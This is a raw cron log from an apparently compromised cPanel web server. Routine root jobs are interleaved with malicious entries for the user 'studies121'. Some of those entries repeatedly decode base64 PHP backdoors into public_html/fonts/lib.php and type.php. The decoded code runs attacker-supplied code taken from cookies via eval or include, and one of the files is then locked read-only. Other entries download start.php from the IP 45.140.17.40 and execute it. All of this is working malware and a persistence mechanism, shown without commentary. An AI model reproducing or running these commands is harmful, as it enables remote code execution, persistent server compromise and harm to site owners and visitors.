Sep 12 12:33:01 ip-184-168-122-23 CROND[26650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:33:01 ip-184-168-122-23 CROND[26653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:34:01 ip-184-168-122-23 CROND[26787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:34:01 ip-184-168-122-23 CROND[26789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:34:01 ip-184-168-122-23 CROND[26792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:34:01 ip-184-168-122-23 CROND[26790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:34:01 ip-184-168-122-23 CROND[26791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:35:01 ip-184-168-122-23 CROND[27049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27054]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27051]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:35:01 ip-184-168-122-23 CROND[27058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:36:01 ip-184-168-122-23 CROND[27246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:36:01 ip-184-168-122-23 CROND[27248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:36:01 ip-184-168-122-23 CROND[27251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:36:01 ip-184-168-122-23 CROND[27249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:36:01 ip-184-168-122-23 CROND[27250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:37:01 ip-184-168-122-23 CROND[27423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:37:01 ip-184-168-122-23 CROND[27424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:37:01 ip-184-168-122-23 CROND[27427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:37:01 ip-184-168-122-23 CROND[27428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:38:01 ip-184-168-122-23 CROND[27547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:38:01 ip-184-168-122-23 CROND[27549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:38:01 ip-184-168-122-23 CROND[27550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:38:01 ip-184-168-122-23 CROND[27551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:38:01 ip-184-168-122-23 CROND[27552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:39:01 ip-184-168-122-23 CROND[27656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:39:01 ip-184-168-122-23 CROND[27660]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 12:39:01 ip-184-168-122-23 CROND[27658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:39:01 ip-184-168-122-23 CROND[27659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:39:01 ip-184-168-122-23 CROND[27661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:40:01 ip-184-168-122-23 CROND[27830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:40:01 ip-184-168-122-23 CROND[27831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:40:01 ip-184-168-122-23 CROND[27833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:40:01 ip-184-168-122-23 CROND[27838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:40:01 ip-184-168-122-23 CROND[27839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:40:01 ip-184-168-122-23 CROND[27836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:40:01 ip-184-168-122-23 CROND[27837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:40:01 ip-184-168-122-23 CROND[27840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:41:01 ip-184-168-122-23 CROND[27938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:41:01 ip-184-168-122-23 CROND[27939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:41:01 ip-184-168-122-23 CROND[27941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:41:01 ip-184-168-122-23 CROND[27940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:42:01 ip-184-168-122-23 CROND[28050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:42:01 ip-184-168-122-23 CROND[28052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:42:01 ip-184-168-122-23 CROND[28054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:42:01 ip-184-168-122-23 CROND[28055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:42:01 ip-184-168-122-23 CROND[28053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:43:01 ip-184-168-122-23 CROND[28141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:43:01 ip-184-168-122-23 CROND[28143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:43:01 ip-184-168-122-23 CROND[28144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:43:01 ip-184-168-122-23 CROND[28145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:44:01 ip-184-168-122-23 CROND[28245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:44:01 ip-184-168-122-23 CROND[28246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:44:01 ip-184-168-122-23 CROND[28248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:44:01 ip-184-168-122-23 CROND[28250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:44:01 ip-184-168-122-23 CROND[28251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:45:01 ip-184-168-122-23 CROND[28462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:45:01 ip-184-168-122-23 CROND[28464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:45:01 ip-184-168-122-23 CROND[28465]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 12 12:45:01 ip-184-168-122-23 CROND[28466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:45:01 ip-184-168-122-23 CROND[28467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
